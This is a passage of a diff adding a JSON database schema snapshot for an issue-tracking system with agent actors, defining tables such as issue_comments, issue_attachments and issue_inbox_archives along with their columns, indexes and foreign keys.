+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_approvals_issue_id_issues_id_fk": {
+          "name": "issue_approvals_issue_id_issues_id_fk",
+          "tableFrom": "issue_approvals",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_approvals_approval_id_approvals_id_fk": {
+          "name": "issue_approvals_approval_id_approvals_id_fk",
+          "tableFrom": "issue_approvals",
+          "tableTo": "approvals",
+          "columnsFrom": [
+            "approval_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_approvals_linked_by_agent_id_agents_id_fk": {
+          "name": "issue_approvals_linked_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_approvals",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "linked_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {
+        "issue_approvals_pk": {
+          "name": "issue_approvals_pk",
+          "columns": [
+            "issue_id",
+            "approval_id"
+          ]
+        }
+      },
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_attachments": {
+      "name": "issue_attachments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "asset_id": {
+          "name": "asset_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_comment_id": {
+          "name": "issue_comment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_attachments_company_issue_idx": {
+          "name": "issue_attachments_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_attachments_issue_comment_idx": {
+          "name": "issue_attachments_issue_comment_idx",
+          "columns": [
+            {
+              "expression": "issue_comment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_attachments_asset_uq": {
+          "name": "issue_attachments_asset_uq",
+          "columns": [
+            {
+              "expression": "asset_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_attachments_company_id_companies_id_fk": {
+          "name": "issue_attachments_company_id_companies_id_fk",
+          "tableFrom": "issue_attachments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_attachments_issue_id_issues_id_fk": {
+          "name": "issue_attachments_issue_id_issues_id_fk",
+          "tableFrom": "issue_attachments",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_attachments_asset_id_assets_id_fk": {
+          "name": "issue_attachments_asset_id_assets_id_fk",
+          "tableFrom": "issue_attachments",
+          "tableTo": "assets",
+          "columnsFrom": [
+            "asset_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_attachments_issue_comment_id_issue_comments_id_fk": {
+          "name": "issue_attachments_issue_comment_id_issue_comments_id_fk",
+          "tableFrom": "issue_attachments",
+          "tableTo": "issue_comments",
+          "columnsFrom": [
+            "issue_comment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_comments": {
+      "name": "issue_comments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "author_agent_id": {
+          "name": "author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "on_behalf_of_user_id": {
+          "name": "on_behalf_of_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_type": {
+          "name": "author_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "derived_author_agent_id": {
+          "name": "derived_author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "derived_created_by_run_id": {
+          "name": "derived_created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "derived_author_source": {
+          "name": "derived_author_source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "presentation": {
+          "name": "presentation",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_by_type": {
+          "name": "deleted_by_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_by_agent_id": {
+          "name": "deleted_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_by_user_id": {
+          "name": "deleted_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_by_run_id": {
+          "name": "deleted_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_trust": {
+          "name": "source_trust",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_comments_issue_idx": {
+          "name": "issue_comments_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_comments_company_idx": {
+          "name": "issue_comments_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_comments_company_issue_created_at_idx": {
+          "name": "issue_comments_company_issue_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_comments_company_author_issue_created_at_idx": {
+          "name": "issue_comments_company_author_issue_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "author_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_comments_body_search_idx": {
+          "name": "issue_comments_body_search_idx",
+          "columns": [
+            {
+              "expression": "body",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_comments_company_id_companies_id_fk": {
+          "name": "issue_comments_company_id_companies_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_comments_issue_id_issues_id_fk": {
+          "name": "issue_comments_issue_id_issues_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_comments_author_agent_id_agents_id_fk": {
+          "name": "issue_comments_author_agent_id_agents_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_comments_on_behalf_of_user_id_user_id_fk": {
+          "name": "issue_comments_on_behalf_of_user_id_user_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "user",
+          "columnsFrom": [
+            "on_behalf_of_user_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_comments_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_comments_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_comments_derived_author_agent_id_agents_id_fk": {
+          "name": "issue_comments_derived_author_agent_id_agents_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "derived_author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_comments_derived_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_comments_derived_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "derived_created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_comments_deleted_by_agent_id_agents_id_fk": {
+          "name": "issue_comments_deleted_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "deleted_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_comments_deleted_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_comments_deleted_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "deleted_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_create_idempotency_keys": {
+      "name": "issue_create_idempotency_keys",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_create_idempotency_keys_company_key_uq": {
+          "name": "issue_create_idempotency_keys_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_create_idempotency_keys_issue_idx": {
+          "name": "issue_create_idempotency_keys_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_create_idempotency_keys_company_created_at_idx": {
+          "name": "issue_create_idempotency_keys_company_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_create_idempotency_keys_company_id_companies_id_fk": {
+          "name": "issue_create_idempotency_keys_company_id_companies_id_fk",
+          "tableFrom": "issue_create_idempotency_keys",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_create_idempotency_keys_issue_id_issues_id_fk": {
+          "name": "issue_create_idempotency_keys_issue_id_issues_id_fk",
+          "tableFrom": "issue_create_idempotency_keys",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_documents": {
+      "name": "issue_documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_documents_company_issue_key_uq": {
+          "name": "issue_documents_company_issue_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_documents_document_uq": {
+          "name": "issue_documents_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_documents_company_issue_updated_idx": {
+          "name": "issue_documents_company_issue_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_documents_company_id_companies_id_fk": {
+          "name": "issue_documents_company_id_companies_id_fk",
+          "tableFrom": "issue_documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_documents_issue_id_issues_id_fk": {
+          "name": "issue_documents_issue_id_issues_id_fk",
+          "tableFrom": "issue_documents",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_documents_document_id_documents_id_fk": {
+          "name": "issue_documents_document_id_documents_id_fk",
+          "tableFrom": "issue_documents",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_execution_decisions": {
+      "name": "issue_execution_decisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stage_id": {
+          "name": "stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stage_type": {
+          "name": "stage_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_agent_id": {
+          "name": "actor_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_user_id": {
+          "name": "actor_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_execution_decisions_company_issue_idx": {
+          "name": "issue_execution_decisions_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_execution_decisions_stage_idx": {
+          "name": "issue_execution_decisions_stage_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_execution_decisions_company_id_companies_id_fk": {
+          "name": "issue_execution_decisions_company_id_companies_id_fk",
+          "tableFrom": "issue_execution_decisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_execution_decisions_issue_id_issues_id_fk": {
+          "name": "issue_execution_decisions_issue_id_issues_id_fk",
+          "tableFrom": "issue_execution_decisions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_execution_decisions_actor_agent_id_agents_id_fk": {
+          "name": "issue_execution_decisions_actor_agent_id_agents_id_fk",
+          "tableFrom": "issue_execution_decisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "actor_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_execution_decisions_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_execution_decisions_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_execution_decisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_inbox_archives": {
+      "name": "issue_inbox_archives",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "archived_by_actor_type": {
+          "name": "archived_by_actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'user'"
+        },
+        "archived_by_agent_id": {
+          "name": "archived_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_run_id": {
+          "name": "archived_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_inbox_archives_company_issue_idx": {
+          "name": "issue_inbox_archives_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_inbox_archives_company_user_idx": {
+          "name": "issue_inbox_archives_company_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_inbox_archives_company_issue_user_idx": {
+          "name": "issue_inbox_archives_company_issue_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_inbox_archives_company_id_companies_id_fk": {
+          "name": "issue_inbox_archives_company_id_companies_id_fk",
+          "tableFrom": "issue_inbox_archives",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_inbox_archives_issue_id_issues_id_fk": {
+          "name": "issue_inbox_archives_issue_id_issues_id_fk",
+          "tableFrom": "issue_inbox_archives",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_inbox_archives_archived_by_agent_id_agents_id_fk": {
+          "name": "issue_inbox_archives_archived_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_inbox_archives",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "archived_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_inbox_archives_archived_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_inbox_archives_archived_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_inbox_archives",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "archived_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "issue_inbox_archives_archived_by_actor_type_check": {
+          "name": "issue_inbox_archives_archived_by_actor_type_check",
+          "value": "\"issue_inbox_archives\".\"archived_by_actor_type\" in ('user', 'agent')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.issue_labels": {
+      "name": "issue_labels",
+      "schema": "",
+      "columns": {
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "label_id": {
+          "name": "label_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_labels_issue_idx": {
+          "name": "issue_labels_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_labels_label_idx": {
+          "name": "issue_labels_label_idx",
+          "columns": [
+            {
+              "expression": "label_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_labels_company_idx": {
+          "name": "issue_labels_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_labels_issue_id_issues_id_fk": {
+          "name": "issue_labels_issue_id_issues_id_fk",
+          "tableFrom": "issue_labels",
+          "tableTo": "issues",
